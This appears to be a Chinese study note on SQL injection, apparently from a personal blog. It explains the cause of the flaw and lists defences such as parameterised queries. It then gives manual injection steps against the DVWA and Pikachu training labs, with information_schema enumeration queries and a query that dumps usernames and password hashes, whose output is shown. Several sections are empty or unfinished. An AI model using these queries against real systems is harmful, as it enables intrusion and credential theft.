一、SQL注入的产生
在Web程序代码中,因用户提交的参数未通过过滤就被放到了SQL语句中执行,使得一些特殊字符打乱了原来的SQL语句原有的逻辑,导致可以直接执行任意的SQL语句,攻击者常利用这一漏洞进行攻击。
二、防范手段
最佳防御手段:采用SQL语句预编译与绑定变量
1.使用数据库系统所提供的参数化查询接口与执行接口。参数化的语句应使用参数而不是将用户输入的变量嵌入到SQL语句中;
2.对特殊字符进行编码转换或转义处理;(#、,<>、&等)
3.确认每一种数据类型;数字型是数字型,数据型是数据型。
4.对数据长度进行严格的规定;
5.每一个网站上的编码进行统一,采用统一编码
6.限制用户的权限,满足其日常工作就可以;
7.当输入特殊的查询手法是网站不要回显SQL信息错误,以防进一步攻击;
三、常见的查询语句
columns 、SCHMEMA 、TABLE
1.查询某个库中的某个表的字段
select * from information_schema.columns where TABLE_SCHEMA="dvwa" and TABLE_NAME="users"

2.
四、SQL注入满足的条件
1.参数可控;
2.参数带入数据库查询;
五、判断是否存在注入
字符型

数据型




六、存在SQL之后手工注入步骤
1.猜库名
database()
得到:pikachu
2.猜表名
select group_concat(table_name) from information_schema.tables where table_schema=database()
httpinfo,member,message,users,xssblind
3.猜列名
4.猜用户数据
select group_concat(username,passsword)from users
得到:
admin
adc3949ba59abbe56e057f20f883e,pikachu670b14728ad9902aecba32e22fa4f6bd,teste99a18c428cb38d5f260853678922e03
604

被折叠的 条评论
为什么被折叠?



